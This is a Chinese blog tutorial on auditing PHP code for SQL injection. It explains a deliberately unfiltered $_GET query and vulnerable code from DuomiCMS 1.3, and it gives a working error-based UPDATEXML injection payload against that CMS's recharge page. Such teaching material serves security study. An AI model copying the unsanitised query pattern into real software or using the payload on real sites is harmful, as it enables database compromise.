php代码审计注入,PHP代码审计SQL注入篇

本帖最后由 MAX丶 于 2016-9-3 09:33 编辑

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。[1]比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到攻击.】

通俗点讲就是没有严谨的过滤导致的】

下面我们来讲解一下今天的东西代码如下。【还有就是数据库文件在我上一篇xss储存那一篇文章发布过了我就不在复制过来了,下面是我们的注入文件。】

[PHP] 纯文本查看 复制代码<?php

mysql_connect('localhost','root','root');

mysql_select_db('test');

mysql_query("set names gbk");

echo $id=$_GET["id"];

echo "
";

//echo $sql="select * from book where id='$

$sql="select * from book where id=$id";

if ($row=mysql_query($sql))

{

$rows=mysql_fetch_array($row);

var_dump($rows);

}

?>

8f3ff2fbfdd7c7c8339951a6542705fa.gif

QQ截图20160903171725.png (187.31 KB, 下载次数: 178)

2016-9-3 17:17 上传

首先我们看一下代码;

[PHP] 纯文本查看 复制代码mysql_connect('localhost','root','root');

mysql_select_db('test');

mysql_query("set names gbk");

这是数据库配配置。

[PHP] 纯文本查看 复制代码echo $id=$_GET["id"];

大家可以看见这是直接输出这个GET的值。

[PHP] 纯文本查看 复制代码$sql="select * from book where id=$id";

然后这里直接进行SQL语句的

[PHP] 纯文本查看 复制代码($row=mysql_query($sql))

这里直接进行查询SQL语句

[PHP] 纯文本查看 复制代码$rows=mysql_fetch_array($row)

利用这一串代码直接取值

[PHP] 纯文本查看 复制代码var_dump($rows)

然后进行打印输出没有任何的过滤所以利用简单的SQL注入语句就可以直接查询相关需要的信息。】

8f3ff2fbfdd7c7c8339951a6542705fa.gif

QQ截图20160903171217.png (106.85 KB, 下载次数: 150)

2016-9-3 17:24 上传现在我给大家找个实例演示【并不是本人自己挖的】多米CMS最新版1.3版本注入.

漏洞文件member/mypay.php(14-40行)8f3ff2fbfdd7c7c8339951a6542705fa.gif

1.png (131.74 KB, 下载次数: 199)

2016-9-3 17:30 上传

[PHP] 纯文本查看 复制代码if(empty($_SESSION['duomi_user_id'])){

showMsg("请先登录","login.php");

exit();

}

elseif($dm=='mypay'){

$key=$_POST['cardkey'];

if($key==""){showMsg("请输入充值卡号","-1");exit;}

$pwd=$_POST['cardpwd'];

if($pwd==""){showMsg("请输入充值卡密码","-1");exit;}

$sqlt="SELECT * FROM duomi_card where ckey='$key'";

$sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";

$row1 = $dsql->GetOne($sqlt);

if(!is_array($row1) OR $row1['status']<>0){

showMsg("充值卡信息有误","-1");exit;

}else{

$uname=$_SESSION['duomi_user_name'];

$points=$row1['climit'];

$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");

$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");

$dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");

showMsg("恭喜!充值成功!","mypay.php");exit;

}

}

else

{

大家可以清楚看见此处的”cardpwd”变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行

http://localhost/member/mypay.php?dm=mypay

POST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1

8f3ff2fbfdd7c7c8339951a6542705fa.gif

图片1.png (202.43 KB, 下载次数: 167)

2016-9-3 17:31 上传

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值